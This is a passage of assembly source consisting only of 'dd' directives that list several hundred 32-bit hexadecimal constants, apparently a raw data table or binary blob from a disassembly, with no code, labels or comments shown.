		dd 2A7A034Bh, 75FE29h, 7CE9D6ECh, 3690CC5Dh, 5CCF60B2h
		dd 0F27B8BDEh, 0A614A75Fh, 7CED3EF9h, 41E6F837h, 0DE83DC16h
		dd 7D7BE0CFh, 3B3D2986h, 5C6F0D32h, 562B0F39h, 0EFA86262h
		dd 0F0D838FEh, 4402152Eh, 0C22D5A16h, 0D7BD987Bh, 33C42E37h
		dd 0F9562936h, 1DCFF8BFh, 5C571D85h, 23555F40h,	8CAB8486h
		dd 64471B7Eh, 3F2FAF6Dh, 0C6ECDC95h, 0E274D9FCh, 7957B7D7h
		dd 8E76D2Eh, 4532AAE7h,	0E9438913h, 4B491E0Ah, 64589E45h
		dd 0D1B56744h, 0A21FBAAEh, 708F1544h, 9D62158Eh, 0BE570B24h
		dd 0ED90DC22h, 0A8323269h, 61FD4F96h, 427CE609h, 0B92A37C8h
		dd 7687B841h, 7B64B7DAh, 245A3B19h, 0C030FA29h,	22D8AE20h
		dd 2C84718Ah, 1BC0447Bh, 0DC107BC6h, 0A7216F6Ah, 5B825E88h
		dd 57B19926h, 2C9CF34Eh, 0B6D0D4C9h, 0BC0E6584h, 98E3BD99h
		dd 0DCCD368Fh, 0CA6ACFF8h, 0CB139E4Ah, 0B7F83139h, 501A0B6Dh
		dd 5B236D26h, 0C8CF98A4h, 0CBF31453h, 0AD4487B8h, 0BA6F8E19h
		dd 5C77011Ch, 0D27AD027h, 7EDBB93Ch, 0FEF7C027h, 1B8AA92Ah
		dd 4BB5CA45h, 6515EFC7h, 0AEBD0683h, 935F6E02h,	18B505B0h
		dd 0F039F5C6h, 384FAA4Bh, 88E54DC9h, 0BF913FCAh, 882E461h
		dd 0EFB3FE5h, 0EB888B4Ah, 72168C3Eh, 0BCD62040h, 3B48B325h
		dd 9CEEBCB5h, 218F31D1h, 9192DB9Eh, 0A5DA9423h,	0B7CF9219h
		dd 941726F6h, 15769EB7h, 3634DE2h, 9B5ECBD5h, 5144670Eh
		dd 4C5F67EFh, 80A96E76h, 0A7CE98C3h, 39970DBAh,	7F79606Fh
		dd 0B621E210h, 1F275CD6h, 0FA2C7466h, 0C35FDB47h, 65E4577Ah
		dd 0E5E69FBCh, 0BA91BD70h, 0D7C0D522h, 43793CDDh, 0DB4A1E7Fh
		dd 9FF9E1DDh, 0B0091669h, 0D4B2B292h, 0B08EE4DAh, 0E1A1A52h
		dd 706F933Fh, 0E02E95D4h, 0B20A87E6h, 34F033D1h, 915B5ACEh
		dd 0D268619Eh, 94AFF191h, 91E5855Bh, 462F464h, 61294A44h
		dd 94A173B3h, 0F70CD2CBh, 1D35E1B1h, 3AFC40DAh,	4B2F05E2h
		dd 0CA8B4828h, 0AD77573h, 64641F90h, 0FB391219h, 2A6A5808h
		dd 1AA140CBh, 777C4101h, 4E652B4Ah, 0C2EA7B13h,	6CF0DE99h
		dd 0C9945DB9h, 2A954B8Fh, 3CC5D7F8h, 11C9F48Eh,	8E5AF5CFh
		dd 195AAE8Ah, 370CD934h, 0A789DB04h, 66C34B7h, 8B7AB9A1h
		dd 446D5C6Ah, 6F9D0A5Ch, 52C87BAAh, 4DDCCF45h, 556ADA7Fh
		dd 0B5D3DFEEh, 0DB60A745h, 1AC1903Bh, 1E96C373h, 7200BDBFh
		dd 0D047232Bh, 8A95DEB5h, 15220A50h, 9A955BE5h,	0FAE53DA0h
		dd 0F6278EA1h, 0E7C8742Ch, 0DD64504Fh, 0C890FCBCh, 3B50F313h
		dd 19636D05h, 128F7F13h, 0FA3798F0h, 6EFB51CFh,	25E4F81h
		dd 357A2700h, 3CCDCCDEh, 4C430821h, 2DD707EDh, 0C1914370h
		dd 0D56882EAh, 0C13CA0EDh, 4EDF8699h, 0F925129Fh, 5BDA0197h
		dd 3E81BF08h, 3F152D41h, 89FA50D5h, 68DB424h, 11FA581Eh
		dd 0DCF04510h, 4E356C4h, 969114D9h, 2BB71587h, 45240C70h
		dd 0CE93AFCCh, 3178902Ch, 0B9DD8088h, 992F9A33h, 0DCF3D387h
		dd 0ECF07E55h, 4686F72Ah, 0C9B28C4Dh, 293A3B29h, 7C6D8606h
		dd 0E9F54763h, 0B5BE8021h, 44CC3B1Fh, 0BF727B88h, 0B576A7Fh
		dd 1FC252D7h, 5BDA5458h, 34D3A250h, 1D69F83Ah, 0E5CF9F7Bh
		dd 0C6F5008Fh, 63759455h, 484195E1h, 647887D8h,	2488B148h
		dd 0E135043h, 602B4EF3h, 0EAE95BF7h, 3F4C5378h,	0A22B0ACBh
		dd 6CD984C7h, 1BBDE6B7h, 0A2DD5014h, 0DE2F4C1Bh, 798D2FF7h
		dd 97F07E05h, 0A5322CECh, 90902F5Ch, 4A949177h,	0DA903EB0h
		dd 6314A7FDh, 0AE03AF95h, 742EB370h, 42E7C526h,	1804B810h
		dd 0DC4DE7FEh, 0E8BE37Eh, 4F5098A6h, 0D8A22CEFh, 0A6431CD6h
		dd 0A1536D41h, 80B44DCh, 0E0B02772h, 3F1D1C8Ah,	894F1DDBh
		dd 0CD18519Ah, 5C24A86Dh, 6B8F7561h, 0AE03A106h, 0B0E1DAE3h
		dd 0CF7B846Ah, 7B3ABC03h, 0E840AB07h, 0B07AD0A8h, 0C042B8B9h
		dd 5B5E1A87h, 6416FE04h, 0A7740C7Eh, 7D5722C8h,	79CCE53Eh
		dd 0C580ABDAh, 0D646801Dh, 0D676ABADh, 25831C19h, 0D6E7DAA7h
		dd 0BA1FD61h, 17F99B53h, 6C09DAE0h, 0FB358E39h,	57C5CC65h
		dd 95538DF2h, 590CE664h, 22C29E17h, 4617B062h, 0B8077373h
		dd 0A2ED48FCh, 7FA4586Eh, 79B89F28h, 0F7531BCh,	0D27F3A73h
		dd 88B11CCDh, 66A4B2B2h, 0B9DDAEC8h, 1223F536h,	0B7143C31h
		dd 696D6332h, 8E765C13h, 0DC05FBBCh, 0F2F7F12Ch, 6D7DF8D8h
		dd 5B9A8373h, 0A40554B4h, 26ADD573h, 0E7F0F8BAh, 0A068E2E7h
		dd 859612D9h, 6850A966h, 7C8424AEh, 6B8BE575h, 3B45D708h
		dd 0DDB310D7h, 0F7E6568Eh
		dd 31CCB85Bh, 0A2871CFEh, 200F2482h, 149AADB1h,	0BEAF94B3h
		dd 90AD7DD3h, 83F64AC6h, 0ADC4D475h, 1725215Bh,	6DA375CBh
		dd 619BB991h, 517ACB08h, 0E9C9B49h, 3B26AB41h, 0C0E78251h
		dd 0A1153498h, 0FCDCC30Ah, 0D681706Eh, 522DA921h, 0DF8C5735h
		dd 72B8EDBFh, 0EBEA7F7Ch, 26B0819Fh, 13467134h,	8177875h
		dd 0FB7117C3h, 0DD62DFEDh, 471B413Ch, 52306844h, 0FC1FE69h
		dd 5CE507DBh, 0DB3A2F7Fh, 15DA020Ch, 79AA078Fh,	98BEC4Fh
		dd 0DE69F3A8h, 230EB145h, 72B2CEC2h, 0BFF68300h, 882F56C8h
		dd 0BE68F00Bh, 0BFD6B13Eh, 0F1F831EDh, 90FF3450h, 7BDADAC4h
		dd 0F0991D64h, 9178879Eh, 60E8B418h, 0A227444Ch, 0C8F5D0B8h
		dd 0D600150Eh, 0A4F77F12h, 68FB6837h, 607528F0h, 44B89915h
		dd 89073DD5h, 0EB612B0Bh, 764CB26Eh, 6251F7Dh, 67F0A71Dh
		dd 4AD130CEh, 6D704A0Ah, 71FB6B3Fh, 0C9B28971h,	6311354Ah
		dd 0F1A77FCDh, 0B88E6CBEh, 802990E3h, 0D2C29CA0h, 7A87477Eh
		dd 0FB60E587h, 5BBEBF5Eh, 397E5A7Ah, 2EF28D79h,	77D32471h
		dd 0B5350656h, 64FDE108h, 0CB6D31B6h, 25A2AF91h, 811A6638h
		dd 46BA2C4Dh, 4E206DF7h, 6C7D9EEh, 40BF80EFh, 961CC9ADh
		dd 2149A826h, 0B438DEAEh, 8FFE1C46h, 42AC7715h,	0B63F783h
		dd 89397217h, 8D7C82A8h, 0A90E7879h, 0E465BF73h, 0C2C1A030h
		dd 9739C9DFh, 823D2869h, 0A6BC1300h, 0EC606CA8h, 5EE753F1h
		dd 0FB7DD972h, 7500742h, 1AC5D5EAh, 0D0A4E203h,	8E6CD568h
		dd 0A839FE2Dh, 199528F9h, 482AD368h, 337D72E6h,	8DD1BAD6h
		dd 537521E4h, 0F938A393h, 0AB3BD07Ch, 6D1B2728h, 1300EE96h
		dd 3A443981h, 22CFBD6Ah, 66891074h, 64D96B4Ch, 105497BFh
		dd 0F1B91C7Eh, 3F9974A0h, 3F34B95h, 5A612345h, 144ED993h
		dd 0FC5EA77Eh, 1A255EC4h, 78950177h, 0EB239C5Ch, 54E50842h
		dd 23E496Dh, 4018EDE0h,	0A352A0C1h, 2F0D24F3h, 986AC11Dh
		dd 18E598DCh, 920E8607h, 19390D89h, 2027767Eh, 54B17C4Bh
		dd 3653B854h, 5EBEA885h, 0C4145F3h, 6A841A1Fh, 6E77856Fh
		dd 4BB1AA3Ch, 10FAA7B0h, 0BB5ECA8Bh, 0CE2686A4h, 0B4F4A806h
		dd 7C0BE2Dh, 925680C3h,	7F438057h, 642A1337h, 0C6E3F5EFh
		dd 56BDF0E2h, 9010029Eh, 28712DFCh, 0F8EF56F4h,	0FABED935h
		dd 17D5FCEh, 835C8D8h, 0E6B80FDCh, 0F8AF5F11h, 0C2FD2268h
		dd 706BAC6h, 4541C786h,	0DAD63CDCh, 1A336C93h, 0E14687C7h
		dd 6EAAFBBCh, 0D2CA6F8Ch, 0BA563B1Eh, 203F5E09h, 34901EB3h
		dd 0A8366A9h, 0A3DC116Bh, 0C94F6B5Ah, 520E6CDFh, 5C7FE5B0h
		dd 721677A6h, 0AE479299h, 15E88CAFh, 230ED2D1h,	18DBC5AAh
		dd 77DF7284h, 87170769h, 717E5CD7h, 0F1C2BB5Ch,	35CE7606h
		dd 0B615F61Ah, 0FAD819Bh, 0B5C1399Dh, 0E8AF9EACh, 86121E8Eh
		dd 346F1A05h, 8F80D69h,	4A161C29h, 0BD8DBB30h, 38C793E3h
		dd 0A772C7A4h, 0FE595DFh, 0F70BBDB2h, 95AE0670h, 27A4E7FAh
		dd 860895C2h, 8A1EFEC7h, 43CCF964h, 0A61001FDh,	0D6A5580Fh
		dd 3A29F20Eh, 0F8410D83h, 752D042Fh, 0B7532E7h,	0FB00807Dh
		dd 0D62B8357h, 7A17579Fh, 488F7676h, 0F0D5DBFCh, 0FBD148FCh
		dd 14B9A80Fh, 0B845B4D9h, 0ADD4F848h, 3309BE7h,	20A6F0D7h
		dd 0C8C966BEh, 0A4B4C0D4h, 8ACC7057h, 4D5F1091h, 0B8C0A3A2h
		dd 0FB18EA95h, 12ED3337h, 51CC8E1Ch, 0EDBF4CC6h, 0B9CDECCAh
		dd 3FE80DF0h, 751D8885h, 150F68CCh, 488C2726h, 0FE4A4C19h
		dd 5AEFEBC7h, 0D3E4EC7Ah, 8BC0DBF2h, 0D836E0FAh, 0B05E166h
		dd 6DDEAABEh, 0D1F6F400h, 0E6AA6705h, 40074B75h, 0DF14989h
		dd 40D7E3ADh, 0F0CD4E97h, 0FDEF75E6h, 14D122D1h, 0E725A96h
		dd 7EDF07CDh, 0A6E330BCh, 8DD14D9Ch, 587C6CBFh,	755F932h
		dd 1CD9050Ah, 915F1841h, 4ED0032h, 0D9602242h, 6B2F756Eh
		dd 0FFDEE508h, 1C3B8A6Bh, 0B7F4C20Ch, 0C2C5ECFFh, 0DA8F34F4h
		dd 0D3715701h, 17574423h, 54A31EE2h, 0FC3924AAh, 8B9003BDh
		dd 0B45E3E5h, 42645B27h, 76DC8D32h, 227846F3h, 8998A1DBh
		dd 403A7615h, 1529BF3Bh, 3BD1F672h, 0BA27FEA5h,	0ABAB35FCh
		dd 438BBE67h, 26C3F9EAh, 9942DDFEh, 989FF0CAh, 9EFDF05Ah
		dd 194D95A6h, 0FDC9AA36h, 0E7A459Fh, 0C6F7FEBCh, 8D47655Bh
		dd 9A12860Dh, 95763851h, 58635D14h, 2ABE186Ch, 992E73D4h
		dd 2DD2EE72h, 95737B63h, 621BCF6h, 1614E766h, 0B3C2EB6Ch
		dd 484AB3E6h, 313AC1D6h, 0AF9A2FBEh, 0E3CBC64Dh, 23B20D9Eh
		dd 57FDBA1Bh, 0F3DB9F96h, 130313D2h, 0F232B39Eh, 0D8450B4Bh
		dd 0DDEF5EC6h, 21343D51h, 22FA5E0Ah, 6974BB8Bh,	16FECD43h
		dd 54E78150h, 0E024C564h, 6E90826Bh, 84A6F0A1h,	8355BE45h
		dd 0EA952AA8h, 23B25629h, 0C878DA40h, 0A371E6C6h, 2528F591h
		dd 796E69E1h, 0F9EC676h, 932ADED9h, 6BCA99F8h, 6E546108h
		dd 5B3483D2h, 0C7C51A22h, 922FCCE1h, 0B09A2169h, 0B1E8E6AFh
		dd 22D600Eh, 256FE218h,	0A2B78FE5h, 697E6827h, 0F196A792h
		dd 1A41E907h, 3A3FF079h, 0C6FBE9DAh, 5E37EC43h,	15B401D4h
		dd 8B180EA7h, 0CF3975Bh, 2632DCC3h, 131045D5h, 9C81C22h
		dd 5F72CF8Eh, 240D5C87h, 0ECAFD0EEh, 8E458D8Dh,	1B51CAC5h
		dd 0DFF67DDAh, 8156590Ch, 584D4176h, 57377177h,	5E6C1187h
		dd 0D590DBEEh, 0EBA121B8h, 0C8CD654Eh, 98078ADEh, 0C9CCE412h
		dd 54336AF0h, 0A517E592h, 0E95F2EAh, 52812DDCh,	7191021Eh
		dd 0C64DAE2Ch, 0B255FB2Ch, 0B182CFDDh, 0E7142297h, 8C9EDEFAh
		dd 3D3B1589h, 0D56FD9FBh, 0C400BED0h, 93F481BDh, 5353703h
		dd 39B57148h, 0F23E2468h, 0FAA65E94h, 6D8275FCh, 0E407D24Fh
		dd 0DB86644Dh, 42ECFEB0h, 0C60D65EDh, 3B84AC7Ch, 2FB8DA52h
		dd 8F284A6Eh, 710E386h,	2A6EB0D7h, 0FAF5CFACh, 0AA3C1A57h
		dd 0CC6EF39Bh, 14B875FFh, 578AC3CBh, 2547C65Fh,	0DBA8DFF0h
		dd 0BBACC7E8h, 130BE6F6h, 0C2FC1BE6h, 59079DA7h, 5C36D1C4h
		dd 58229573h, 5AB958DBh, 4283A783h, 233B7CC3h, 579C97A9h
		dd 0DB78D62Ch, 0C389E49h, 72786AC9h, 276ABA77h,	0ABA8AA3Fh
		dd 90A836FCh, 90A8B203h, 4E7AA98Bh, 5E0863E9h, 0C2B87F6Dh
		dd 0D96B3DAh, 3A308DC3h, 6164FA8Eh, 0CF9DEF80h,	0A8EA3C45h
		dd 7CEE38EBh, 93FBAC78h, 529D689Bh, 379506F5h, 0F99DC2D0h
		dd 95F3EE5h, 92BE20E0h,	9AF9A48h, 6DB4EE46h, 0AD364F64h
		dd 0C3021204h, 0E7EE1D23h, 50DD06A3h, 32C7AD8h,	249AEEDFh
		dd 54FFD1D7h, 282DFAA0h, 0A9A98646h, 0A456A614h, 669A57E6h
		dd 0EF25AEB1h, 0D013668Ch, 0CD1D9F31h, 4FC3369h, 0F9213E9Dh
		dd 9E1376A9h, 5216CF4Eh, 0B4848787h, 0CBD2EE98h, 36256905h
		dd 2D0A8D07h, 4938CD03h, 0B81762FBh, 0D41AA6D0h, 42E6FF7Fh
		dd 44B2428Ah, 77B06E4h,	69238BE7h, 0FD016847h, 0E15A7F16h
		dd 0EB64D48Fh, 3CE483DCh, 7A98EF55h, 4A4E220Fh,	0C10581E1h
		dd 5EFDD42Ah, 83E5FFBDh, 4170F9FDh, 199062Ah, 98F037Bh
		dd 0E339EC80h, 9365D43Ah, 756DB675h, 36F98A1Ch,	176C3AF7h
		dd 0F7609E46h, 54AEF6C2h, 2785AC21h, 0CF44F688h, 0F174B17Ah
		dd 0DD8B514Ah, 4963CEAEh, 2A8D4B4Dh, 14034AB6h,	84D75767h
		dd 4B153734h, 19DDF576h, 880B8F90h, 0AD9D4597h,	15FFEAA9h
		dd 300703FFh, 9D6DFB43h, 0E745ED14h, 0F4103604h, 0D15AD7CEh
		dd 707E53FCh, 0B1892691h, 0E4E78088h, 0B1663AD0h, 0BED6A47Dh
		dd 9FEF0D1Fh, 5AEFFAF8h
		dd 0CF3146F9h, 85AA328Ah, 9C6C1685h, 7299572Ah,	0AAA2467Ch
		dd 9FC063AEh, 0C39CB427h, 0A7F1F270h, 397451E5h, 45659F17h
		dd 245FDC2Dh, 0A38F21AEh, 0F025510Bh, 9CAFDCB9h, 4D3D4EBBh
		dd 26240A2Ch, 8F853672h, 12CAF10Fh, 82811AADh, 4A00CB58h
		dd 4511B8ABh, 0E8760186h, 0BF438D0Ah, 0C017B447h, 0B8DE285Bh
		dd 0D36EE5EEh, 0F4BA8D4Dh, 89D1EBBCh, 0AFA5281Ch, 9C9615BAh
		dd 9ED4E386h, 0C8F8C649h, 286FCA11h, 0B067A34h,	624812B7h
		dd 37ED8AF9h, 0B983A1C2h, 0C55E243h, 97615664h,	0B3DBA90Eh
		dd 4C86D68Ah, 1BEBF567h, 0ACEA9FB4h, 0E64A1C2Fh, 0D5F47602h
		dd 609EC319h, 84F5186Dh, 0E28791AAh, 9645DF77h,	516EB2E5h
		dd 7B8D4DB4h, 0C886F497h, 3E9CFDE9h, 0AFC42D17h, 0CFABD67Bh
		dd 8986B52Ah, 84FA0A05h, 0FCFE43BBh, 566EE662h,	0C30FABF4h
		dd 5104927Ch, 0ECE8B6B8h, 4BD78DB6h, 0C30A109Ah, 9E902F02h
		dd 2C2B3A78h, 0B28C6946h, 8896F363h, 0E0B0AE46h, 0E402DD18h
		dd 9B7C0A11h, 59DCE505h, 123B076Ch, 6F6CB783h, 32135E7Eh
		dd 19D65806h, 0B44864A3h, 5ED4A9A1h, 0A694719Bh, 93CF6B2Ah
		dd 0C9C63286h, 9D1BCEA9h, 97B91A2Fh, 0C4DABF09h, 0E38E1B71h
		dd 1594FFF3h, 59DAEC9Ch, 0EA34BA59h, 0CA60BD6Ah, 0EAE2D509h
		dd 59267C55h, 14E2714h,	0AF92732Eh, 0BCA7DDE8h,	0D68C5C12h
		dd 1186F3FBh, 214C4FC3h, 0A7F2FD2Bh, 89EAF74Fh,	7416549Eh
		dd 4FA3409h, 18BCC09h, 44A719DAh, 0C822C243h, 88842A21h
		dd 0BAC494F7h, 79E0CF3Ah, 0E5073B1Ch, 0A83BDE04h, 0E4FD8Fh
		dd 0B0921115h, 93AB7403h, 0F3DF93A6h, 79E2C96Ch, 0AC692818h
		dd 7F0C19CEh, 0A3F872A0h, 7AA2468Dh, 0ABDBDC40h, 8E2BA8BAh
		dd 0A235A766h, 69D1BE24h, 4E87E66Eh, 882EE47Fh,	7EA91166h
		dd 7EAB34CFh, 87B19517h, 0D112A7h, 9BA605A0h, 995F850Dh
		dd 6CA11560h, 8160F50Bh, 0BBD4414Ch, 0B2F28D54h, 5AEF88Ch
		dd 0B1F4C7E3h, 0DAEEEF2Fh, 2343BD50h, 0AEFDFD26h, 3D9B6E94h
		dd 0DB65A9BDh, 0E5992119h, 87961337h, 0A0689984h, 0CAB0D73Ch
		dd 8BA17369h, 0F84E2C5h, 5CFD6343h, 7268E3ABh, 6B939748h
		dd 83D24F43h, 3AB84383h, 6ABB2AA9h, 0A1B8F16Ch,	1219C304h
		dd 2AF2859Dh, 7886DA2Ch, 282ED709h, 441FA92Dh, 586F442h
		dd 0B5ECB72h, 1A8B43A7h, 0B9B472C7h, 9169B42Ah,	8020F090h
		dd 2B8057A3h, 0F956748Eh, 68116388h, 0D78766F0h, 72073069h
		dd 6FC0C098h, 0CF09A117h, 0B6377729h, 655A9777h, 0D578C23Eh
		dd 0CEC742F3h, 5625F814h, 0EB1D7266h, 6625DB1Ch, 6D517882h
		dd 0B494D94h, 66C2EEE7h, 3ADD8C9Ch, 0DC75784Dh,	0B78E6E34h
		dd 0F334A346h, 0BCA959B4h, 9BBFB974h, 0BB4CBB10h, 84BD65BDh
		dd 0FBA6947Dh, 6FDC238h, 1B0DCF6Eh, 0E007917Dh,	0AB26EFD0h
		dd 0AFA18B02h, 29091098h, 717FB588h, 356C7B1Fh,	8F8BEFDEh
		dd 94C49F20h, 0E9653C50h, 15D8F25Dh, 0FAABAEF5h, 0E79C5E51h
		dd 0F62B7500h, 41D76C59h, 82F276E8h, 581D861Fh,	9B562DF6h
		dd 20ECFA54h, 52960D69h, 4E1F5500h, 0A36D3EAEh,	9C99DABh
		dd 4CA1AE7h, 0FC492DA7h, 93F6D94Eh, 3BEEEFCCh, 85E4E165h
		dd 0FB968321h, 8C103494h, 0EB99B061h, 7E51EE5Ah, 0E8B3F4E5h
		dd 6D54E2A4h, 0A8745BDCh, 0CEA797E4h, 4EF07404h, 0ED735916h
		dd 0D23A167Bh, 32BC85F6h, 0BD57AAE6h, 0A653CFEDh, 6E9FE29Dh
		dd 0DE900E8h, 0D73994F8h, 704719A3h, 5A67D1AFh,	0C8F14180h
		dd 0F389E6D1h, 5C85F987h, 0E776ECC7h, 59E0D47Ah, 3019E210h
		dd 0BA32F280h, 84F6F5BCh, 8FC45E24h, 5D0F0A8Dh,	8D01F058h
		dd 2DD5EBB3h, 4B1A0807h, 0F4317B7Fh, 35FE8BBDh,	39E27750h
		dd 65D7467Fh, 0B6D7419Eh, 6B9C4A6Fh, 0B81AAAFFh, 5D6665D8h
		dd 0D76CA5F2h, 0CAD5BADh, 0C7C935C5h, 87F25BBCh, 0E18E5FC4h
		dd 0B0B52CABh, 3A3D78D6h, 29FC7704h, 0C161EAC3h, 20739B3h
		dd 90AD539Ah, 0A7B8C4ABh, 5F2AB349h, 663F08D2h,	77EAC1D4h
		dd 79E8AB25h, 260C678h,	6C1DCA61h, 60B1A75Ch, 0B9AA1751h
		dd 0A4C26D7Dh, 8225C863h, 0D8B256A8h, 76A135D5h, 4B1493BCh
		dd 311E911Fh, 5936B74Ch, 86214906h, 0DE167F66h,	0EA9486BEh
		dd 0CA44026Eh, 3A00E55Bh, 4C856283h, 4CAEAEC9h,	7FC0211Ah
		dd 9D29F163h, 71C4591Ch, 0CBC0DE30h, 0FE38BDE6h, 0E62E6BD4h
		dd 4822B284h, 0B72789D6h, 4F89928Dh, 6BFBCBA3h,	0E7C56DABh
		dd 0C0AD091Ah, 0E96E776Bh, 27090338h, 0D05974A8h, 62482300h
		dd 4191F454h, 65A43C81h, 8A77EB05h, 0CA788573h,	52ACC814h
		dd 5CFD1927h, 0BDA9A568h, 48CA7345h, 498C3B9Dh,	0BC6CA2CEh
		dd 60F8155Ah, 0DF31138Eh, 0B0EEF120h, 0AB2E0Dh,	1F8AA23Eh
		dd 0AB3D8167h, 77E032B4h, 6A53A586h, 337F3B76h,	0BF442F86h
		dd 7D0E690Fh, 0CE15DDB7h, 0BB061188h, 47DC5215h, 93D76219h
		dd 9CDECB29h, 0DC59B7E4h, 916265B7h, 0C5D036ECh, 40DCFDF7h
		dd 1D7D7AA7h, 0D4D91E7Eh, 3DEF226Dh, 0D7B8EDC4h, 3CC5D5B0h
		dd 0ACD4FF26h, 7A62CB9Ch, 10739973h, 6C2A8550h,	2B9BEC6Fh
		dd 23E63568h, 0CA13CDD2h, 49E938FEh, 330687C7h,	0B5A85F86h
		dd 9F75F3FAh, 0C401EE59h, 0E96965CFh, 5EA4F27Ah, 0B9AF586Ch
		dd 24AE1D12h, 15432A02h, 814D4E51h, 1A357C2Fh, 0B3979B5Ch
		dd 6D35AFDFh, 0D76F1B4Ah, 3A9357B2h, 0A2F05816h, 0B9820032h
		dd 0A4DB2301h, 1D013B3Dh, 8BFB4343h, 737992A8h,	0C445533h
		dd 1E7E32A9h, 990021A8h, 0CD8D6285h, 404D99ECh,	0DAE561FBh
		dd 9700A84h, 39C4FD80h,	344A7E7Bh, 7982679Dh, 350E1939h
		dd 0C42A34h, 6224B706h,	4A8A4E69h, 0A4C0FC9Dh, 62350370h
		dd 335BBAC6h, 794D8DCAh, 886F3B17h, 0E59667CAh,	0F75B8EE2h
		dd 5AA38575h, 0F42B7BA4h, 0E39AAA95h, 9888826Fh, 50DC4BEAh
		dd 0AFB08C01h, 0D6C2E887h, 34114233h, 0E53C1A43h, 0C7A59E27h
		dd 897ED0F2h, 0B7AEFD2Ah, 2B9419F9h, 0D6A62DB3h, 0D0AF7787h
		dd 0FB5CE6C4h, 753DAE23h, 0D27926C2h, 521A4E4Ch, 553DA16Dh
		dd 51E9B98Eh, 5945528Bh, 73E52B77h, 0C70F4C1h, 0B1CD7D08h
		dd 8D295023h, 68B6FC7Eh, 3953434Ch, 4666D98Ch, 7CF6ABD3h
		dd 6DC35F4Bh, 3A0E3614h, 29C5D989h, 37BA5B3Bh, 16530071h
		dd 5F8C5DEh, 962F40CBh,	36601543h, 545CC7F7h, 36245EA5h
		dd 93BC072Ah, 4FC20935h, 7FF846C6h, 5E980B78h, 94947AB5h
		dd 0BCA4E148h, 0A1C55514h, 93FDD13Eh, 0FA2A2784h, 331D19F2h
		dd 7FE2C637h, 4EF97E42h, 262C8519h, 7D3A1002h, 73059948h
		dd 4B60A9AAh, 0A42EA15Fh, 0A1CEB6F1h, 59FCC57Fh, 0DC0485C7h
		dd 0C254B54h, 3E10DA37h, 0F487B865h, 622A2A2Dh,	0CD47879Bh
		dd 0C83503C1h, 15BAF66Ch, 2732EE1Fh, 0C98B6F04h, 0BD74B058h
		dd 14CEC07Ch, 3B864FE6h, 25618D0Fh, 838005C2h, 4C963D02h
		dd 51A9A62h, 2AAE7734h,	37FBA137h, 6B40A222h, 274713BCh
		dd 1555C618h, 8B251739h, 84F38BE5h, 69E76253h, 0E58D9EEFh
		dd 55D16A18h, 62D06340h, 0EF171E4Fh, 0D72A98EDh, 0CC6F37B1h
		dd 693BFFBDh, 2A5455C1h, 0DA64638Ah, 424D1768h,	70F7DEB4h
		dd 1DF70D60h, 0AE19B314h, 594C95CEh, 88EA5CBBh,	0AAADA3DEh
		dd 3465256Dh, 0BA8923F1h, 75561041h, 5F971B7Eh,	0E3D58330h
		dd 1D4DD811h, 6EFEE084h, 69404841h, 8F2F4FE1h, 4AFC9F3Ah
		dd 0AF1F6764h, 3FB4249Ah, 67FE8662h, 4BE37EAEh,	4630EDB1h
		dd 0AA4F9D33h, 2A644861h
		dd 0AB866F9Dh, 15C7E81h, 6364B2DAh, 47E1801h, 8E1C8CB9h
		dd 0B34D2592h, 68D1D5EEh, 47BEE700h, 0F7211607h, 0E8D070BFh
		dd 0E4098E6h, 2DE97CCh,	0E9D98767h, 0D0002BE0h,	99D73E7Bh
		dd 7795BD67h, 0EE97013Ah, 730F1B98h, 0E949370Eh, 0E21A2166h
		dd 0AD12BA6Eh, 0E57F3ACEh, 34434CD4h, 44533748h, 494CDF71h
		dd 689201A6h, 0F72D7598h, 57C8A27h, 0ADFF9194h,	6370515h
		dd 0C20DBA92h, 0BED9644Bh, 0A7586871h, 48EA7CC5h, 5F2BD32Dh
		dd 0A68757AAh, 0AE131714h, 23734640h, 8900F819h, 0DF227CDBh
		dd 882E7688h, 385EC59Eh, 0F70464BCh, 7229BEB2h,	592B8672h
		dd 6E55F6B6h, 81E803C6h, 0C515BBF2h, 0F28B5D34h, 8F29DAEAh
		dd 874B8D0Eh, 0AF3C3A0h, 3C473650h, 94A3D898h, 0ED573D6Bh
		dd 0E16147E2h, 5273E18Bh, 0E1683BE4h, 0DE8C3BC3h, 2E0C1091h
		dd 0A1C51DF4h, 0AE0E8F89h, 2DF82CDh, 0BFDF6056h, 13099EE8h
		dd 0CE4E9820h, 41D7E94Bh, 68C4F61Eh, 6148A52Dh,	3453F697h
		dd 0AE61F2BEh, 0D88E3A5Ch, 1A5AA321h, 1CE53763h, 0C7AE3C14h
		dd 0D62B274h, 680F8FD1h, 8FFBAAD5h, 0EEA02E01h,	0E68117D6h
		dd 8ED2F17h, 44801554h,	0EFD2FA40h, 0A49932Ch, 0E135B7B6h
		dd 12CE1D77h, 35A50495h, 3B327599h, 50C4F683h, 97D4DEAh
		dd 0A732C226h, 3A646C02h, 0CC95049Dh, 2406B00Ch, 721897B1h
		dd 9F5DF3CDh, 0EED10937h, 8386748h, 7419D53Dh, 2356D21Ah
		dd 0CB71FC5Bh, 0F808E5A2h, 28C65EBBh, 8C50382h,	0B4E6952Eh
		dd 9BD75C89h, 0F811C503h, 0BAEB62D7h, 0BC8ADD43h, 0FF72E7BCh
		dd 8B1F11A1h, 57A1FD28h, 0A84A42FAh, 7538DAFDh,	5479FF83h
		dd 0B435B348h, 87BAC132h, 9D04FAE1h, 58CC562Ah,	1EC6390Eh
		dd 610585A5h, 0EF477AC6h, 0F1773AFEh, 0C8B227A7h, 0A5F6F078h
		dd 0FB2FF459h, 0E32E4BAAh, 16D22376h, 0AF5BD5ADh, 0CDE2686Ah
		dd 0DE8C294h, 915640FCh, 0CD45EC30h, 84736A4Bh,	6C2D601Bh
		dd 0AC017F40h, 7B2D4D26h, 0E384E141h, 7319FFEDh, 0AB8F86FAh
		dd 4152BF47h, 4CF7DDE5h, 0E41A1700h, 287834B6h,	9BACC3EBh
		dd 87167DD5h, 0EC626AC1h, 0F12488E1h, 42AEE444h, 0D70B3839h
		dd 0FFC3059Ah, 6DF6BADEh, 596571AAh, 95F0102Ah,	0CDF5386Ah
		dd 35A8AAD7h, 800F5C12h, 5733BEA2h, 6CEF1ABBh, 94DA4B22h
		dd 301F533Fh, 0C7ED55D7h, 8B8BCFFFh, 3819682Bh,	0AFA7357Bh
		dd 9BFC474Ch, 7988C5Ah,	7BC863E9h, 0C90D7EEAh, 5A7F38B4h
		dd 0ECFE6F00h, 0A0DD8C26h, 0C8E2172Dh, 0D133A55Bh, 3B6856BAh
		dd 6D47EDF2h, 9C8B0D17h, 7D42FD59h, 561CB2A0h, 0C086889Ah
